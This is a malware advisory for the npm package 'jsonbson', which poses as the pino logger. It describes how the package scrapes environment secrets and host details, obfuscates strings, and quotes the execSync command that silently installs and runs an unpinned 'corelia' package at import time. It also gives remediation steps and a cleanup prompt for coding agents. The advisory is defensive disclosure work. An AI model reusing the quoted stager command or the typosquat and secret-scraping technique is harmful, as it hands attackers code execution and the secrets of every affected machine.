# MAL-2026-4591: Malicious code in jsonbson (npm)


- **Type:** Malicious package
- **Package:** `jsonbson` (npm)
- **Published:** 20 May 2026
- **Also known as:** GHSA-44rg-m26f-r36f

## What is MAL-2026-4591?

MAL-2026-4591 is a malicious package in jsonbson, published on 20 May 2026. 

### Official description

On require, lib/writer.js (loaded via main=pino.js) collects a full snapshot of process.env, OS platform, hostname, username, and external MAC addresses, then runs `execSync('npm install corelia --no-warnings --no-save --no-progress --loglevel silent')` and immediately `require('../../corelia/pino.js')`. The `corelia` package is not declared in dependencies and is pulled unpinned from npm at import time, executing arbitrary third-party code with the harvested fingerprint available in-process. The package masquerades as the pino logger (homepage https://getpino.io, main file pino.js, README titled 'log-flare (Pino)', pino-branded image assets) despite being published as `jsonbson` — a typosquat/brand-impersonation lure. lib/writer.js further uses a `String.fromCharCode` per-character builder to assemble the only human-readable error string, an obfuscation pattern with no functional purpose other than evading string scans. The combination — branding deception + import-time silent install of an unpinned external package + bulk environment scraping + character-code obfuscation — is an unambiguous stager that grants the publisher arbitrary code execution and access to all environment secrets on every machine that requires this module.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-4591?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4591 is a malicious package: jsonbson (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4591/ (Markdown: https://insights.sbomify.com/MAL-2026-4591/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4591

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-4591/
Summaries are generated and may contain mistakes; the official description above is the record.